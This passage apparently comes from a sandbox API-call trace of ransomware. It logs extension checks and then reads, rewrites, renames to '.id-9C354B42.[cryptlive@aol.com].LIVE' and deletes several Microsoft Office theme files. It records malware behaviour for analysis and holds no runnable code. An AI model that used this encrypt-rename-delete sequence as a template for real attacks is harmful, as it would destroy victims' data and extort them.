lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.611] lstrlenW (lpString=".zip") returned 4 [0136.611] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString=".rar") returned 4 [0136.611] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString=".bz2") returned 4 [0136.611] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString=".7z") returned 3 [0136.611] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.611] lstrlenW (lpString=".dbf") returned 4 [0136.611] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.611] lstrlenW (lpString=".1cd") returned 4 [0136.611] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Metro.eftx") returned 77 [0136.611] lstrlenW (lpString=".jpg") returned 4 [0136.612] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.612] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.612] lstrlenW (lpString="Perspective.eftx") returned 16 [0136.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.613] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=21423) returned 1 [0136.613] CloseHandle (hObject=0x3b0) returned 1 [0136.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 0x20 [0136.613] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.614] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.614] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.615] GetLastError () returned 0x0 [0136.615] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x53af, lpOverlapped=0x0) returned 1 [0136.616] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0x53b0, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0x53b0, lpOverlapped=0x0) returned 1 [0136.618] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.618] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0136.618] SetEndOfFile (hFile=0x388) returned 1 [0136.618] CloseHandle (hObject=0x388) returned 1 [0136.618] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.618] SetEndOfFile (hFile=0x3b0) returned 1 [0136.621] CloseHandle (hObject=0x3b0) returned 1 [0136.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.621] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\perspective.eftx")) returned 1 [0136.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.622] lstrlenW (lpString=".doc") returned 4 [0136.622] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.622] lstrlenW (lpString=".docx") returned 5 [0136.622] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.622] lstrlenW (lpString=".pdf") returned 4 [0136.622] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.622] lstrlenW (lpString=".xls") returned 4 [0136.622] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.622] lstrlenW (lpString=".xlsx") returned 5 [0136.622] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.622] lstrlenW (lpString=".ppt") returned 4 [0136.622] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.622] lstrlenW (lpString=".zip") returned 4 [0136.622] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.622] lstrlenW (lpString=".rar") returned 4 [0136.623] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.623] lstrlenW (lpString=".bz2") returned 4 [0136.623] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.623] lstrlenW (lpString=".7z") returned 3 [0136.623] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.623] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.623] lstrlenW (lpString=".dbf") returned 4 [0136.623] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.626] lstrlenW (lpString=".1cd") returned 4 [0136.626] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.626] lstrlenW (lpString=".jpg") returned 4 [0136.626] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.626] lstrlenW (lpString=".doc") returned 4 [0136.626] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.626] lstrlenW (lpString=".docx") returned 5 [0136.626] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.626] lstrlenW (lpString=".pdf") returned 4 [0136.626] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.626] lstrlenW (lpString=".xls") returned 4 [0136.626] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.626] lstrlenW (lpString=".xlsx") returned 5 [0136.626] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.626] lstrlenW (lpString=".ppt") returned 4 [0136.626] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.626] lstrlenW (lpString=".zip") returned 4 [0136.626] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.627] lstrlenW (lpString=".rar") returned 4 [0136.627] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.627] lstrlenW (lpString=".bz2") returned 4 [0136.627] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.627] lstrlenW (lpString=".7z") returned 3 [0136.627] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.627] lstrlenW (lpString=".dbf") returned 4 [0136.627] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.627] lstrlenW (lpString=".1cd") returned 4 [0136.627] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Perspective.eftx") returned 83 [0136.627] lstrlenW (lpString=".jpg") returned 4 [0136.627] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.627] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.627] lstrlenW (lpString="Pushpin.eftx") returned 12 [0136.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.628] GetFileSizeEx (in: hFile=0x3b0, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=782121) returned 1 [0136.628] CloseHandle (hObject=0x3b0) returned 1 [0136.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 0x20 [0136.628] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0136.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0136.629] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.629] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0136.630] GetLastError () returned 0x0 [0136.630] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xbef29, lpOverlapped=0x0) returned 1 [0136.709] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xbef30, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xbef30, lpOverlapped=0x0) returned 1 [0136.725] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0136.725] WriteFile (in: hFile=0x388, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xec, lpOverlapped=0x0) returned 1 [0136.725] SetEndOfFile (hFile=0x388) returned 1 [0136.725] CloseHandle (hObject=0x388) returned 1 [0136.726] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0136.726] SetEndOfFile (hFile=0x3b0) returned 1 [0136.955] CloseHandle (hObject=0x3b0) returned 1 [0136.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0136.981] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\pushpin.eftx")) returned 1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.987] lstrlenW (lpString=".doc") returned 4 [0136.987] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString=".docx") returned 5 [0136.987] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.987] lstrlenW (lpString=".pdf") returned 4 [0136.987] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString=".xls") returned 4 [0136.987] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString=".xlsx") returned 5 [0136.987] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.987] lstrlenW (lpString=".ppt") returned 4 [0136.987] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.987] lstrlenW (lpString=".zip") returned 4 [0136.987] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString=".rar") returned 4 [0136.987] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString=".bz2") returned 4 [0136.987] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString=".7z") returned 3 [0136.987] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.987] lstrlenW (lpString=".dbf") returned 4 [0136.987] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.987] lstrlenW (lpString=".1cd") returned 4 [0136.987] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.987] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.987] lstrlenW (lpString=".jpg") returned 4 [0136.988] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.988] lstrlenW (lpString=".doc") returned 4 [0136.988] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0136.988] lstrlenW (lpString=".docx") returned 5 [0136.988] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0136.988] lstrlenW (lpString=".pdf") returned 4 [0136.988] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0136.988] lstrlenW (lpString=".xls") returned 4 [0136.988] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0136.988] lstrlenW (lpString=".xlsx") returned 5 [0136.988] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0136.988] lstrlenW (lpString=".ppt") returned 4 [0136.988] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.988] lstrlenW (lpString=".zip") returned 4 [0136.988] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0136.988] lstrlenW (lpString=".rar") returned 4 [0136.988] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0136.988] lstrlenW (lpString=".bz2") returned 4 [0136.988] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0136.988] lstrlenW (lpString=".7z") returned 3 [0136.988] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0136.988] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.988] lstrlenW (lpString=".dbf") returned 4 [0136.989] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0136.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.989] lstrlenW (lpString=".1cd") returned 4 [0136.989] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0136.989] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Pushpin.eftx") returned 79 [0136.989] lstrlenW (lpString=".jpg") returned 4 [0136.989] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0136.989] lstrcmpiW (lpString1=".eftx", lpString2=".LIVE") returned -1 [0136.989] lstrlenW (lpString="Thatch.eftx") returned 11 [0136.989] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0137.022] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=41295) returned 1 [0137.022] CloseHandle (hObject=0x38c) returned 1 [0137.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 0x20 [0137.074] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0137.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0137.075] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.075] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0137.076] GetLastError () returned 0x0 [0137.076] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0xa14f, lpOverlapped=0x0) returned 1 [0137.082] WriteFile (in: hFile=0x3a4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xa150, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xa150, lpOverlapped=0x0) returned 1 [0137.337] ReadFile (in: hFile=0x3b0, lpBuffer=0x40f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0137.337] WriteFile (in: hFile=0x3a4, lpBuffer=0x40f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40f0020*, lpNumberOfBytesWritten=0x350fc9c*=0xea, lpOverlapped=0x0) returned 1 [0137.337] SetEndOfFile (hFile=0x3a4) returned 1 [0137.385] CloseHandle (hObject=0x3a4) returned 1 [0137.385] SetFilePointerEx (in: hFile=0x3b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0137.385] SetEndOfFile (hFile=0x3b0) returned 1 [0137.392] CloseHandle (hObject=0x3b0) returned 1 [0137.392] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0137.400] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx")) returned 1 [0137.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.422] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.422] lstrlenW (lpString=".doc") returned 4 [0137.422] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.422] lstrlenW (lpString=".docx") returned 5 [0137.422] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.423] lstrlenW (lpString=".pdf") returned 4 [0137.423] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString=".xls") returned 4 [0137.423] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString=".xlsx") returned 5 [0137.423] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.423] lstrlenW (lpString=".ppt") returned 4 [0137.423] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.423] lstrlenW (lpString=".zip") returned 4 [0137.423] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString=".rar") returned 4 [0137.423] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString=".bz2") returned 4 [0137.423] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString=".7z") returned 3 [0137.423] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.423] lstrlenW (lpString=".dbf") returned 4 [0137.423] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.423] lstrlenW (lpString=".1cd") returned 4 [0137.423] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.423] lstrlenW (lpString=".jpg") returned 4 [0137.423] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.423] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.423] lstrlenW (lpString=".doc") returned 4 [0137.423] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString=".docx") returned 5 [0137.423] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0137.423] lstrlenW (lpString=".pdf") returned 4 [0137.423] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0137.423] lstrlenW (lpString=".xls") returned 4 [0137.424] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0137.424] lstrlenW (lpString=".xlsx") returned 5 [0137.424] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0137.424] lstrlenW (lpString=".ppt") returned 4 [0137.424] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0137.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.424] lstrlenW (lpString=".zip") returned 4 [0137.424] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0137.424] lstrlenW (lpString=".rar") returned 4 [0137.424] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0137.424] lstrlenW (lpString=".bz2") returned 4 [0137.424] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0137.424] lstrlenW (lpString=".7z") returned 3 [0137.424] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0137.424] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned 78 [0137.424] lstrlenW (lpString=".dbf") returned 4 [0137.424] lstrcmpiW (lpString1=".dbf", 